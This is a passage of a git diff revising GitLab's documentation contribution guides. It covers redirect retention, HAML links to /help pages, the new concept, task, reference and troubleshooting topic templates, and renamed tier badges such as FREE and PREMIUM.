be deleted after <YYYY-MM-DD>. --> + <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> + ``` - `_redirects` entries can be removed after one year. + Redirect files linking to docs in any of the internal documentations projects + are removed after three months. Redirect files linking to external sites are + removed after one year. -1. Search for links to the old file. You must find and update all links to the old file: +1. If the documentation page being moved has any Disqus comments, follow the steps + described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments). +1. If a documentation page you're removing includes images that aren't used + with any other documentation pages, be sure to use your merge request to delete + those images from the repository. +1. Assign the merge request to a technical writer for review and merge. +1. Search for links to the original documentation file. You must find and update all + links that point to the original documentation file: - In <https://gitlab.com/gitlab-com/www-gitlab-com>, search for full URLs: `grep -r "docs.gitlab.com/ee/path/to/file.html" .` - In <https://gitlab.com/gitlab-org/gitlab-docs/-/tree/master/content/_data>, search the navigation bar configuration files for the path with `.html`: `grep -r "path/to/file.html" .` - - In any of the 4 internal projects. This includes searching for links in the docs + - In any of the four internal projects. This includes searching for links in the docs and codebase. Search for all variations, including full URL and just the path. In macOS for example, go to the root directory of the `gitlab` project and run: @@ -238,8 +234,8 @@ To add a redirect: grep -r "path/to/file" . ``` - You may need to try variations of relative links as well, such as `../path/to/file` - or even `../file` to find every case. + You may need to try variations of relative links, such as `../path/to/file` or + `../file` to find every case. ### Redirections for pages with Disqus comments @@ -306,68 +302,51 @@ with GitLab 11.4. Meaning, it's available only with `/help` from GitLab ### Linking to `/help` -When you're building a new feature, you may need to link the documentation -from GitLab, the application. This is normally done in files inside the -`app/views/` directory with the help of the `help_page_path` helper method. - -In its simplest form, the HAML code to generate a link to the `/help` page is: - -```haml -= link_to 'Help page', help_page_path('user/permissions') -``` - -The `help_page_path` contains the path to the document you want to link to with -the following conventions: - -- it is relative to the `doc/` directory in the GitLab repository -- the `.md` extension must be omitted -- it must not end with a slash (`/`) +When you're building a new feature, you may need to link to the documentation +from the GitLab application. This is normally done in files inside the +`app/views/` directory, with the help of the `help_page_path` helper method. -Below are some special cases where should be used depending on the context. -You can combine one or more of the following: +The `help_page_path` contains the path to the document you want to link to, +with the following conventions: -1. **Linking to an anchor link.** Use `anchor` as part of the `help_page_path` - method: +- It's relative to the `doc/` directory in the GitLab repository. +- It omits the `.md` extension. +- It doesn't end with a slash (`/`). - ```haml - = link_to 'Help page', help_page_path('user/permissions', anchor: 'anchor-link') - ``` +The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/helping-users/#formatting-help-content). -1. **Opening links in a new tab.** This should be the default behavior: +Use the following special cases depending on the context, ensuring all links +are inside `_()` so they can be translated: - ```haml - = link_to 'Help page', help_page_path('user/permissions'), target: '_blank' - ``` +- Linking to a doc page. In its most basic form, the HAML code to generate a + link to the `/help` page is: -1. **Using a question icon.** Usually used in settings where a long - description cannot be used, like near checkboxes. You can basically use - any GitLab SVG icon, but prefer the `question-o`: - - ```haml - = link_to sprite_icon('question-o'), help_page_path('user/permissions') - ``` + ```haml + = link_to _('Learn more.'), help_page_path('user/permissions'), target: '_blank', rel: 'noopener noreferrer' + ``` -1. **Using a button link.** Useful in places where text would be out of context - with the rest of the page layout: +- Linking to an anchor link. Use `anchor` as part of the `help_page_path` + method: - ```haml - = link_to 'Help page', help_page_path('user/permissions'), class: 'btn btn-info' - ``` + ```haml + = link_to _('Learn more.'), help_page_path('user/permissions', anchor: 'anchor-link'), target: '_blank', rel: 'noopener noreferrer' + ``` -1. **Using links inline of some text.** +- Using links inline of some text. First, define the link, and then use it. In + this example, `link_start` is the name of the variable that contains the + link: - ```haml - Description to #{link_to 'Help page', help_page_path('user/permissions')}. - ``` + ```haml + - link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/permissions') } + %p= _("This is a text describing the option/feature in a sentence. %{link_start}Learn more.%{link_end}").html_safe % { link_start: link_start, link_end: '</a>'.html_safe } + ``` -1. **Adding a period at the end of the sentence.** Useful when you don't want - the period to be part of the link: +- Using a button link. Useful in places where text would be out of context with + the rest of the page layout: - ```haml - = succeed '.' do - Learn more in the - = link_to 'Help page', help_page_path('user/permissions') - ``` + ```haml + = link_to _('Learn more.'), help_page_path('user/permissions'), class: 'btn btn-info', target: '_blank', rel: 'noopener noreferrer' + ``` #### Linking to `/help` in JavaScript @@ -514,7 +493,7 @@ To run the tool on an existing screenshot generator, take the following steps: 1. Set up the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md). 1. Navigate to the subdirectory with your cloned GitLab repository, typically `gdk/gitlab`. 1. Make sure that your GDK database is fully migrated: `bin/rake db:migrate RAILS_ENV=development`. -1. Install pngquant, see the tool website for more information: [`pngquant`](https://pngquant.org/) +1. Install `pngquant`, see the tool website for more information: [`pngquant`](https://pngquant.org/) 1. Run `scripts/docs_screenshots.rb spec/docs_screenshots/<name_of_screenshot_generator>.rb <milestone-version>`. 1. Identify the location of the screenshots, based on the `gitlab/doc` location defined by the `it` parameter in your script. 1. Commit the newly created screenshots. diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md index c8c48e71b48..e05f6760ff1 100644 --- a/doc/development/documentation/restful_api_styleguide.md +++ b/doc/development/documentation/restful_api_styleguide.md @@ -165,7 +165,7 @@ curl --request POST \ ### Post data using form-data -Instead of using JSON or urlencode you can use multipart/form-data which +Instead of using JSON or URL-encoding data, you can use `multipart/form-data` which properly handles data encoding: ```shell diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md index fcf4662502f..f66b0543ad1 100644 --- a/doc/development/documentation/site_architecture/global_nav.md +++ b/doc/development/documentation/site_architecture/global_nav.md @@ -283,8 +283,8 @@ and the following syntax rules. - As convention, always wrap URLs in single quotes `'url'`. - Always use relative paths against the home of CE and EE. Examples: - For `https://docs.gitlab.com/ee/README.html`, the relative URL is `README.html`. - - For `https://docs.gitlab.com/ee/user/project/cycle_analytics.html`, the relative - URL is `user/project/cycle_analytics.html`. + - For `https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.md`, the relative + URL is `user/analytics/value_stream_analytics.html`. - For `README.html` files, add the complete path `path/to/README.html`. - For `index.html` files, use the clean (canonical) URL: `path/to/`. - For EE-only docs, use the same relative path, but add the attribute `ee_only: true` below @@ -328,7 +328,7 @@ There are three main considerations on the logic built for the nav: - `https://docs.gitlab.com/*` - [EE-only](#ee-only-docs): documentation only available in `/ee/`, not on `/ce/`, e.g.: - `https://docs.gitlab.com/ee/user/group/epics/` - - `https://docs.gitlab.com/ee/user/project/security_dashboard.html` + - `https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html` - [Default URL](#default-url): between CE and EE docs, the default is `ee`, therefore, all docs should link to `/ee/` unless if on `/ce/` linking internally to `ce`. diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md index be25a083948..92fd17f9d3e 100644 --- a/doc/development/documentation/site_architecture/index.md +++ b/doc/development/documentation/site_architecture/index.md @@ -114,7 +114,7 @@ located in the [Dockerfiles directory](https://gitlab.com/gitlab-org/gitlab-docs If you need to rebuild the Docker images immediately (must have maintainer level permissions): WARNING: -If you change the dockerfile configuration and rebuild the images, you can break the master +If you change the Dockerfile configuration and rebuild the images, you can break the master pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an image with a different name first and test it to ensure you do not break the pipelines. diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md index fd0c29f0fc1..65949d5b5f5 100644 --- a/doc/development/documentation/structure.md +++ b/doc/development/documentation/structure.md @@ -5,167 +5,165 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: What to include in GitLab documentation pages. --- -# Documentation structure and template +# Documentation topic types -Use these standards to contribute content to the GitLab documentation. +At GitLab, we have not traditionally used topic types. However, we are starting to +move in this direction, and we now use four topic types: -Before getting started, familiarize yourself with [Documentation guidelines for GitLab](index.md) -and the [Documentation Style Guide](styleguide/index.md). +- [Concept](#concept) +- [Task](#task) +- [Reference](#reference) +- [Troubleshooting](#troubleshooting) -## Components of a documentation page +Each page contains multiple topic types. For example, +a page with the title `Pipelines`, which is generated from a file called `index.md`, +can include a concept and multiple task and reference topics. -Most pages are dedicated to a specific GitLab feature or to a use case that -involves one or more features, potentially in conjunction with third-party tools. +GitLab also uses high-level landing pages. -In general, each topic should include the following content, in this sequence: +## Landing pages -- *Metadata*: Information about the stage, group, and how to find the technical - writer for the topic. This information isn't visible in the published help. -- *Title*: A top-level heading with the feature or use case name. Choose a term - that defines the functionality and use the same term in all the resources - where the feature is mentioned. -- *Introduction*: In a few sentences beneath the title, describe what the - feature or topic is, what it does, and in what context it should be used. -- *Use cases*: Describe real user scenarios. -- *Prerequisites*: Describe the software, configuration, account, permissions, - or knowledge required to use this functionality. -- *Tasks*: Present detailed step-by-step instructions on how to use the feature. -- *Troubleshooting*: List errors and how to address them. Recommended but not - required. +Landing pages are topics that group other topics and help a user to navigate a section. -You can include additional subsections, as appropriate, such as *How it Works*, -or *Architecture*. You can also include other logical divisions, such as -pre-deployment and post-deployment tasks. +Users who are using the in-product help do not have a left nav, +and need these topics to navigate the documentation. -## Template for new docs +These topics can also help other users find the most important topics +in a section. -Follow the [folder structure and filename guidelines](styleguide/index.md#folder-structure-overview) -and create a new topic by using this template: +Landing page topics should be in this format: ```markdown -<!--Follow the Style Guide when working on this document. -https://docs.gitlab.com/ee/development/documentation/styleguide.html -When done, remove all of this commented-out text, except a commented-out -Troubleshooting section, which, if empty, can be left in place to encourage future use.--> ---- -description: "Short document description." # Up to ~200 chars long. This information is displayed -in Google Search snippets. It may help to write the page intro first, and then reuse it here. -stage: Add the stage name here -group: Add the group name here -info: To determine the technical writer assigned to the Stage/Group associated with this page, -see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments ---- +# Title (a noun, like "CI/CD or "Analytics") -# Feature or Use Case Name **[TIER]** (1) -<!--If you are writing about a use case, start with a verb, -for example, "Configure", "Implement", + the goal/scenario--> +Brief introduction to the concept or product area. +Include the reason why someone would use this thing. + +- Bulleted list of important related topics. +- These links are needed because users of in-product help do not have left navigation. +``` -<!--For pages on newly-introduced features, add the following line. -If only some aspects of the feature have been introduced, specify which parts of the feature.--> -> [Introduced](link_to_issue_or_mr) in GitLab (Tier) X.Y (2). +## Concept -Write a description of the feature or use case. This introduction should answer -these questions: +A concept topic introduces a single feature or concept. -- What is this feature or use case? -- Who is it for? -- What is the context in which it is used and are there any prerequisites or - requirements? -- What can the audience do with this? (Be sure to consider all applicable - audiences, such as GitLab admin and developer-user.) -- What are the benefits of using this over any existing alternatives? +A concept should answer the questions: -You can reuse this content, or part of it, for the front matter's `description` -at the top of this file. +- What is this? +- Why would I use it? -## Use cases +Think of everything someone might want to know if they’ve never heard of this topic before. -Describe common use cases, typically in bulleted form. Include real-life examples -for each. +Don’t tell them **how** to do this thing. Tell them **what it is**. -If the page itself is dedicated to a use case, this section usually includes more -specific scenarios for use (for example, variations on the main use case), but if -that's not applicable, you can omit this section. +If you start describing another topic, start a new concept and link to it. + +Concept topics should be in this format: + +```markdown +# Title (a noun, like "Widgets") -Examples of use cases on feature pages: +A paragraph that explains what this thing is. -- CE and EE: [Issues](../../user/project/issues/index.md#use-cases) -- CE and EE: [Merge Requests](../../user/project/merge_requests/index.md) -- EE-only: [Geo](../../administration/geo/index.md) -- EE-only: [Jenkins integration](../../integration/jenkins.md) +Another paragraph that explains what this thing is. -## Prerequisites +Remember, if you start to describe about another concept, stop yourself. +Each concept topic should be about one concept only. +``` -State any prerequisites for using the feature. These might include: +## Task -- Technical prereqs (for example, an account on a third-party service, an amount - of storage space, or prior configuration of another feature) -- Prerequisite knowledge (for example, familiarity with certain GitLab features - or other products and technologies). +A task topic gives instructions for how to complete a procedure. -Link each one to an appropriate place for more information. +Task topics should be in this format: -## Tasks +```markdown +# Title (starts with an active verb, like "Create a widget" or "Delete a widget") -Each topic should help users accomplish a specific task. +Do this task when you want to... -The heading should: +Prerequisites (optional): -- Describe the task and start with a verb. For example, `Create a package` or - `Configure a pipeline`. -- Be short and descriptive (up to ~50 chars). -- Start from an `h2` (`##`), then go over `h3`, `h4`, `h5`, and `h6` as needed. - Never skip a hierarchy level (like `h2` > `h4`). It breaks the table of - contents and can affect the breadcrumbs. +- Thing 1 +- Thing 2 +- Thing 3 -Bigger tasks can have subsections that explain specific phases of the process. +To do this task: -Include example code or configurations when needed. Use Markdown to wrap code -blocks with [syntax highlighting](../../user/markdown.md#colored-code-and-syntax-highlighting). +1. Location then action. (Go to this menu, then select this item.) +1. Another step. +1. Another step. -Example topic: +Task result (optional). Next steps (optional). +``` -## Create a teddy bear +Here is an example. -Create a teddy bear when you need something to hug. (Include the reason why you -might do the task.) +```markdown +# Create an issue -To create a teddy bear: +Create an issue when you want to track bugs or future work. -1. Go to **Settings > CI/CD**. -1. Expand **This** and click **This**. -1. Do another step. +Prerequisites: -The teddy bear is now in the kitchen, in the cupboard above the sink. _(This is the result.)_ +- A minimum of Contributor access to a project in GitLab. -You can retrieve the teddy bear and put it on the couch with the other animals. _(These are next steps.)_ +To create an issue: -Screenshots are not necessary. They are difficult to keep up-to-date and can -clutter the page. +1. Go to **Issues > List**. +1. In the top right, click **New issue**. +1. Complete the fields. (If you have a reference topic that lists each field, link to it here.) +1. Click **Submit issue**. -<!-- ## Troubleshooting +The issue is created. You can view it by going to **Issues > List**. +``` -Include any troubleshooting steps that you can foresee. If you know beforehand -what issues one might have when setting this up, or when something is changed, -or on upgrading, it's important to describe those, too. Think of things that may -go wrong and include them here. This is important to minimize requests for -Support, and to avoid documentation comments with questions that you know -someone might ask. +## Reference -Each scenario can be a third-level heading, for example, `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place but -commented out to help encourage others to add to it in the future. --> +A reference topic provides information in an easily-scannable format, +like a table or list. It's similar to a dictionary or encyclopedia entry. ---- +```markdown +# Title (a noun, like "Pipeline settings" or "Administrator options") -Notes: +Introductory sentence. -- (1): Apply the [tier badges](styleguide/index.md#product-badges) accordingly. -- (2): Apply the correct format for the - [GitLab version that introduces the feature](styleguide/index.md#gitlab-versions-and-tiers). +| Setting | Description | +|---------|-------------| +| **Name** | Descriptive sentence about the setting. | ``` -## Help and feedback section +## Troubleshooting + +Troubleshooting topics can be one of two categories: + +- **Troubleshooting task.** This topic is written the same as a [standard task topic](#task). + For example, "Run debug tools" or "Verify syntax." +- **Troubleshooting reference.** This topic has a specific format. + +Troubleshooting reference topics should be in this format: + +```markdown +# Title (the error message or a description of it) + +You might get an error that states <error message>. + +This issue occurs when... + +The workaround is... +``` + +## Other information on a topic + +Topics include other information. + +For example: + +- Each topic must have a [tier badge](styleguide/index.md#product-tier-badges). +- New topics must have information about the + [GitLab version where the feature was introduced](styleguide/index.md#where-to-put-version-text). + +### Help and feedback section This section ([introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319) in GitLab 11.4) is displayed at the end of each document and can be omitted by adding a key into @@ -180,7 +178,7 @@ feedback: false The default is to leave it there. If you want to omit it from a document, you must check with a technical writer before doing so. -### Disqus +#### Disqus We also have integrated the docs site with Disqus (introduced by [!151](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/151)), @@ -206,7 +204,7 @@ The click events in the feedback section are tracked with Google Tag Manager. The conversions can be viewed on Google Analytics by navigating to **Behavior > Events > Top events > docs**. -## Guidelines for good practices +### Guidelines for good practices > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36576/) in GitLab 13.2 as GitLab Development documentation. diff --git a/doc/development/documentation/styleguide.md b/doc/development/documentation/styleguide.md index a12c2740083..ade0b89a92c 100644 --- a/doc/development/documentation/styleguide.md +++ b/doc/development/documentation/styleguide.md @@ -3,3 +3,6 @@ redirect_to: 'styleguide/index.md' --- This document was moved to [another location](styleguide/index.md). + +<!-- This redirect file can be deleted after <2022-02-13>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/styleguide/img/tier_badge.png b/doc/development/documentation/styleguide/img/tier_badge.png Binary files differindex 674d869da9b..5fc38e08172 100644 --- a/doc/development/documentation/styleguide/img/tier_badge.png +++ b/doc/development/documentation/styleguide/img/tier_badge.png diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index bba94c7de7e..7737aa58506 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -7,34 +7,25 @@ description: 'Writing styles, markup, formatting, and other standards for GitLab # Documentation Style Guide -This document defines the standards for GitLab documentation. +This document defines the standards for GitLab documentation, including grammar, formatting, word use, and more. -For broader information about the documentation, see the [Documentation guidelines](../index.md). +For style questions, mention `@tw-style` in an issue or merge request. If you have access to the GitLab Slack workspace, +use the `#docs-processes` channel. -For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages/) section. +In addition to this page, the following resources can help you craft and contribute to documentation: -For information on how to validate styles locally or by using GitLab CI/CD, see [Testing](../testing.md). - -Use this guide for standards on grammar, formatting, word usage, and more. - -You can also view a list of [recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix). - -If you can't find what you need: - -- View the GitLab Handbook for [writing style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) that apply to all GitLab content. -- Refer to: - - - [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/welcome/). - - [Google Developer Documentation Style Guide](https://developers.google.com/style). - -If you have questions about style, mention `@tw-style` in an issue or merge request, or, if you have access to the GitLab Slack workspace, use `#docs-process`. +- [Doc contribution guidelines](../index.md) +- [Doc style and consistency testing](../testing.md) +- [UI text guidelines](https://design.gitlab.com/content/error-messages/) +- [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) +- [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/welcome/) +- [Google Developer Documentation Style Guide](https://developers.google.com/style) +- [Recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix) ## Documentation is the single source of truth (SSOT) -### Why a single source of truth - -The documentation of GitLab products and features is the SSOT for all -information related to implementation, usage, and troubleshooting. It evolves +The GitLab documentation is the SSOT for all +information related to GitLab implementation, usage, and troubleshooting. It evolves continuously, in keeping with new products and features, and with improvements for clarity, accuracy, and completeness. @@ -44,7 +35,7 @@ about GitLab products. It also informs decisions about the kinds of content we include in our documentation. -### All information +### The documentation includes all information Include problem-solving actions that may address rare cases or be considered _risky_, but provide proper context through fully-detailed @@ -54,10 +45,13 @@ If you think you have found an exception to this rule, contact the Technical Writing team. GitLab adds all troubleshooting information to the documentation, no matter how -unlikely a user is to encounter a situation. For the [Troubleshooting sections](#troubleshooting), -people in GitLab Support can merge additions themselves. +unlikely a user is to encounter a situation. + +GitLab Support maintains their own +[troubleshooting content](../../../administration/index.md#support-team-docs) +in the GitLab documentation. -### All media types +### The documentation includes all media types Include any media types/sources if the content is relevant to readers. You can freely include or link presentations, diagrams, and videos. No matter who @@ -71,48 +65,33 @@ include it. quotation with the source cited. Typically it is better to either rephrase relevant information in your own words or link out to the other source. -### No special types +### Topic types In the software industry, it is a best practice to organize documentation in -different types. For example, [Divio recommends](https://www.divio.com/blog/documentation/): +different types. For example: -- Tutorials -- How-to guides -- Explanation -- Reference (for example, a glossary) +- Concepts +- Tasks +- Reference +- Troubleshooting -At GitLab, we have so many product changes in our monthly releases that we can't -afford to continuously update multiple types of information. If we have multiple -types, the information becomes outdated. Therefore, we have a -[single template](../structure.md) for documentation. +At GitLab, we have not traditionally used topic types. However, we are starting to +move in this direction, so we can address these issues: -GitLab documentation does not distinguish specific document types. We are open to -reconsidering this policy after the documentation has reached a future stage of -maturity and quality. If you are reading this, then despite our continuous -improvement efforts, that point hasn't been reached. +- **Content is hard to find.** Our docs are comprehensive and include a large amount of + useful information. Topic types create repeatable patterns that make our content easier + to scan and parse. +- **Content is often written from the contributor's point of view.** Our docs + are written by contributors. Topic types (tasks specifically) help put + information into a format that is geared toward helping others, rather than + documenting how a feature was implemented. -### Link instead of summarize +GitLab uses these [topic type templates](../structure.md). -There is a temptation to summarize the information on another page, which -causes the information to live in two places. Instead, link to the single source -of truth and explain why it is important to consume the information. +### Link instead of repeating text -### Organize by topic, not by type - -We organize content by topic, not by type, so it can be located in the -single-source-of-truth (SSOT) section for the subject matter. Top-level audience-type -folders, like `administration`, are exceptions. - -For example, do not create groupings of similar media types. For example: - -- Glossaries. -- FAQs. -- Sets of all articles or videos. - -Such grouping of content by type makes it difficult to browse for the information -you need and difficult to maintain up-to-date content. Instead, organize content -by its subject (for example, everything related to CI goes together) and -cross-link between any related content. +Rather than repeating information from another topic, link to the single source +of truth and explain why it is important. ### Docs-first methodology @@ -127,14 +106,9 @@ of GitLab more efficient. should be to create a merge request (MR) to add this information to the documentation. You can then share the MR to communicate this information. -New information about the future usage or troubleshooting -of GitLab should not be written directly in a forum or other messaging system. -Instead, add it to a documentation merge request, then reference it. Note -that among any other documentation changes, you can either: - -- Add a [Troubleshooting section](#troubleshooting) to a doc if none exists. -- Un-comment and use the placeholder Troubleshooting section included as part of - our [documentation template](../structure.md#template-for-new-docs), if present. +New information that would be useful toward the future usage or troubleshooting +of GitLab should not be written directly in a forum or other messaging system, +but added to a documentation MR and then referenced, as described above. The more we reflexively add information to the documentation, the more the documentation helps others efficiently accomplish tasks and solve problems. @@ -217,8 +191,11 @@ included in backticks. For example: ## Structure -Because we want documentation to be a SSOT, we should [organize by topic, not by -type](#organize-by-topic-not-by-type). +We include concept and task topic types in the same larger topic. + +In general, we have one topic that's a [landing page](../structure.md#landing-pages). +Below that topic in the left nav are individual topics. Each of these include a concept +and multiple related tasks, reference, and troubleshooting topics. ### Folder structure overview @@ -299,7 +276,7 @@ place for it. ### Avoid duplication Do not include the same information in multiple places. -[Link to a single source of truth instead.](#link-instead-of-summarize) +[Link to a single source of truth instead.](#link-instead-of-repeating-text) ### References across documents @@ -389,7 +366,7 @@ by default. Capitalize names of: - GitLab [product tiers](https://about.gitlab.com/pricing/). For example, - GitLab Core and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).) + GitLab Free and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).) - Third-party organizations, software, and products. For example, Prometheus, Kubernetes, Git, and The Linux Foundation. - Methods or methodologies. For example, Continuous Integration, @@ -549,6 +526,7 @@ You can use these fake tokens as examples: | scalability | Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. | | simply | Do not use. If the user doesn't find the process to be these things, we lose their trust. | | slashes | Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. | +| subgroup | Use instead of `sub-group`. | | that | Do not use. Example: `the file that you save` can be `the file you save`. | | useful | Do not use. If the user doesn't find the process to be these things, we lose their trust. | | utilize | Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. | @@ -765,8 +743,6 @@ Items nested in lists should always align with the first character of the list item. In unordered lists (using `-`), this means two spaces for each level of indentation: -<!-- vale off --> - ````markdown - Unordered list item 1 @@ -788,12 +764,8 @@ indentation:  ```` -<!-- vale on --> - For ordered lists, use three spaces for each level of indentation: -<!-- vale off --> - ````markdown 1. Ordered list item 1 @@ -815,8 +787,6 @@ For ordered lists, use three spaces for each level of indentation:  ```` -<!-- vale on --> - You can nest full lists inside other lists using the same rules as above. If you want to mix types, that's also possible, if you don't mix items at the same level: @@ -942,7 +912,7 @@ NOTE: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39717) in GitLab 13.4, [product badges](#product-tier-badges) used in headings aren't included in the generated anchor links. For example, when you link to -`## This is an example **(CORE)**`, use the anchor `#this-is-an-example`. +`## This is an example **(FREE)**`, use the anchor `#this-is-an-example`. Keep in mind that the GitLab user interface links to many documentation pages and anchor links to take the user to the right spot. When you change @@ -966,8 +936,8 @@ this option. ## Links -Links are important in GitLab documentation. They allow you to [link instead of -summarizing](#link-instead-of-summarize) to help preserve a [single source of truth](#why-a-single-source-of-truth) +Links are important in GitLab documentation. Use links instead of +summarizing to help preserve a [single source of truth](#documentation-is-the-single-source-of-truth-ssot) in GitLab documentation. We include guidance for links in these categories: @@ -1020,7 +990,8 @@ To link to internal documentation: - Use relative links to Markdown files in the same repository. - Do not use absolute URLs or URLs from `docs.gitlab.com`. - Use `../` to navigate to higher-level directories. -- Don't prepend `./` to links to files or directories. +- Don't prepend `./` to links to files or directories. To link to a file in the + same directory or one of its sub-directories, use the syntax `path/to/file.md`. - Don't link relative to root. For example, `/ee/user/gitlab_com/index.md`. Don't: @@ -1045,6 +1016,7 @@ To link to internal documentation: - `../../merge_requests/index.md` - `../../issues/tags.md` - `../../issues/tags.md#stages` + - `issues/tags.md` NOTE: Using the Markdown extension is necessary for the [`/help`](../index.md#gitlab-help) @@ -1345,8 +1317,6 @@ hidden on the documentation site, but is displayed by `/help`. - For regular fenced code blocks, always use a highlighting class corresponding to the language for better readability. Examples: - <!-- vale off --> - ````markdown ```ruby Ruby code @@ -1365,8 +1335,6 @@ hidden on the documentation site, but is displayed by `/help`. ``` ```` - <!-- vale on --> - Syntax highlighting is required for fenced code blocks added to the GitLab documentation. Refer to this table for the most common language classes, or check the [complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers) @@ -1671,8 +1639,8 @@ the blockquote to use a bulleted list: If a feature is moved to another tier: ```markdown -> - [Moved](<link-to-issue>) from GitLab Premium to GitLab Starter in 11.8. -> - [Moved](<link-to-issue>) from GitLab Starter to GitLab Core in 12.0. +> - [Moved](<link-to-issue>) from GitLab Ultimate to GitLab Premium in 11.8. +> - [Moved](<link-to-issue>) from GitLab Premium to GitLab Free in 12.0. ``` If a feature is deprecated, include a link to a replacement (when available): @@ -1779,7 +1747,7 @@ To add a tier badge to a heading, add the relevant [tier badge](#available-produ after the heading text. For example: ```markdown -# Heading title `**(CORE)**` +# Heading title **(FREE)** ``` #### Product tier badges on other content @@ -1787,30 +1755,26 @@ after the heading text. For example: In paragraphs, list names, and table cells, an information icon displays when you add a tier badge. More verbose information displays when a user points to the icon: -- `**(STARTER)**` displays as **(STARTER)** -- `**(STARTER ONLY)**` displays as **(STARTER ONLY)** -- `**(SILVER ONLY)**` displays as **(SILVER ONLY)** +- `**(FREE)**` displays as **(FREE)** +- `**(FREE SELF)**` displays as **(FREE SELF)** +- `**(FREE SAAS)**` displays as **(FREE SAAS)** -The `**(STARTER)**` generates a `span` element to trigger the -badges and tooltips (`<span class="badge-trigger starter">`). When the keyword -_only_ is added, the corresponding GitLab.com badge isn't displayed. +The `**(FREE)**` generates a `span` element to trigger the +badges and tooltips (`<span class="badge-trigger free">`). #### Available product tier badges -| Tier in which feature is available | Tier badge | -|:-----------------------------------------------------------------------|:----------------------| -| GitLab Core and GitLab.com Free, and their higher tiers | `**(CORE)**` | -| GitLab Starter and GitLab.com Bronze, and their higher tiers | `**(STARTER)**` | -| GitLab Premium and GitLab.com Silver, and their higher tiers | `**(PREMIUM)**` | -| GitLab Ultimate and GitLab.com Gold | `**(ULTIMATE)**` | -| _Only_ GitLab Core and higher tiers (no GitLab.com-based tiers) | `**(CORE ONLY)**` | -| _Only_ GitLab Starter and higher tiers (no GitLab.com-based tiers) | `**(STARTER ONLY)**` | -| _Only_ GitLab Premium and higher tiers (no GitLab.com-based tiers) | `**(PREMIUM ONLY)**` | -| _Only_ GitLab Ultimate (no GitLab.com-based tiers) | `**(ULTIMATE ONLY)**` | -| _Only_ GitLab.com Free and higher tiers (no self-managed instances) | `**(FREE ONLY)**` | -| _Only_ GitLab.com Bronze and higher tiers (no self-managed instances) | `**(BRONZE ONLY)**` | -| _Only_ GitLab.com Silver and higher tiers (no self-managed instances) | `**(SILVER ONLY)**` | -| _Only_ GitLab.com Gold (no self-managed instances) | `**(GOLD ONLY)**` | +| Tier in which feature is available | Tier badge | +|:--------------------------------------------------------------------------|:----------------------| +| GitLab Free self-managed and SaaS, and higher tiers | `**(FREE)**` | +| GitLab Premium self-managed and SaaS, and their higher tiers | `**(PREMIUM)**` | +| GitLab Ultimate self-managed and SaaS | `**(ULTIMATE)**` | +| _Only_ GitLab Free self-managed and higher tiers (no SaaS-based tiers) | `**(FREE SELF)**` | +| _Only_ GitLab Premium self-managed and higher tiers (no SaaS-based tiers) | `**(PREMIUM SELF)**` | +| _Only_ GitLab Ultimate self-managed (no SaaS-based tiers) | `**(ULTIMATE SELF)**` | +| _Only_ GitLab Free SaaS and higher tiers (no self-managed instances) | `**(FREE SAAS)**` | +| _Only_ GitLab Premium SaaS and higher tiers (no self-managed instances) | `**(PREMIUM SAAS)**` | +| _Only_ GitLab Ultimate SaaS (no self-managed instances) | `**(ULTIMATE SAAS)**` | Topics that mention the `gitlab.rb` file are referring to self-managed instances of GitLab. To prevent confusion, include the relevant `TIER ONLY` @@ -1859,8 +1823,6 @@ Configuration procedures can require users to edit configuration files, reconfig GitLab, or restart GitLab. Use these styles to document these steps, replacing `PATH/TO` with the appropriate path: -<!-- vale off --> - ````markdown **For Omnibus installations** @@ -1888,8 +1850,6 @@ GitLab, or 